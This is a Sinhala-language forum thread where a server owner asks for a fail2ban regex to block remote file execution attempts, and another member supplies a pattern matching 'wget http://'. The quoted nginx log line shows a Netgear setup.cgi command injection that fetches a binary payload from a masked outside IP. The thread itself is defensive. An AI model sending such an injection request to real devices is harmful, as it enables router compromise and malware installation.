Regular Expression දන්නා කවුරුහරි ඉන්නවද?

U-tag

Well-known member
  • Nov 18, 2011
    12,732
    14,353
    113
    Regular Expression දන්නා කවුරුහරි ඉන්නවද?

    මචං Regular Expression දන්නා කවුරුහරි ඉන්නවද? :D
     

    U-tag

    Well-known member
  • Nov 18, 2011
    12,732
    14,353
    113
    මොකද්ද වෙන්න ඕනේ මචන්

    ona tharam examples online thiyanawa,
    you can build and test your reg expressions online

    මේකයි බං. මගේ server එකට remote file execution attack එකක් එනවා. මම මේක block කරන්න fail2ban දැම්ම. එත් මම හදපු reg එක sucess නැ. මේ තියෙන්නේ මම දාපු failregex එක.

    Code:
    [SIZE="3"]failregex = ^<HOST> -.*(GET|POST|HEAD).*(wget)[/SIZE]

    මට ඕනේ wget%20http:// phrase එකයි wget http:// phrase තියන log capture කරගන්න. මම දාපු failregex එකට google mediabot bot එකත් අහුවෙනවා (wget එකට).මට idea එකක් නැ කොහොමද ඔය phrase එකම capture කරගන්නේ කියල

    මේ තියෙන්නේ server access log (nginx) එක.
    Code:
    /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=[B]wget%20http://[/B]xxx.xxx.xxx.xxx/bins
     
    Last edited:

    shan4max

    Junior member
  • Mar 11, 2007
    354
    23
    18
    / *(wget){1}(%20| ){1}(http:\/\/){1}/gi

    Screen-Shot-2019-03-27-at-8-28-23-AM.png
     
    • Like
    Reactions: U-tag

    U-tag

    Well-known member
  • Nov 18, 2011
    12,732
    14,353
    113